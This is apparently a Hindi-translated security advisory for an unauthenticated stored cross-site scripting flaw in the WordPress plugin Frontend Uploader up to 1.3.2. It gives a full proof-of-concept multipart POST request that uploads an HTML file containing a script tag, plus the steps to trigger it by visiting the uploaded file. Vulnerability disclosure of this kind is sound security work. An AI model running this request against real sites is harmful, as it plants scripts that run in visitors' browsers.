
प्लगइन अपने फ़ॉर्म के माध्यम से HTML फ़ाइलों को अपलोड होने से नहीं रोकता है, जिससे बिना प्रमाणीकरण वाला उपयोगकर्ता उदाहरण के लिए JavaScript युक्त एक दुर्भावनापूर्ण HTML फ़ाइल अपलोड कर सकता है, जो किसी के द्वारा सीधे फ़ाइल तक पहुँचने पर ट्रिगर हो जाएगी।
फ्रंटएंड अपलोडर <= 1.3.2 - बिना प्रमाणीकरण के संग्रहीत क्रॉस-साइट स्क्रिप्टिंग
यह प्लगइन अपने फ़ॉर्म के माध्यम से HTML फ़ाइलों को अपलोड होने से नहीं रोकता है, जिससे एक अप्रमाणित उपयोगकर्ता, उदाहरण के लिए, JavaScript युक्त एक दुर्भावनापूर्ण HTML फ़ाइल अपलोड कर सकता है, जो किसी के द्वारा सीधे फ़ाइल तक पहुँचने पर ट्रिगर हो जाती है।
जिस पेज/पोस्ट में [fu-upload-form] शॉर्टकोड एम्बेड है, वहाँ जनरेट किए गए फ़ॉर्म के माध्यम से बस एक HTML फ़ाइल अपलोड करें।
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html
https://www.youtube.com/watch?v=lfrLoHl4-Zs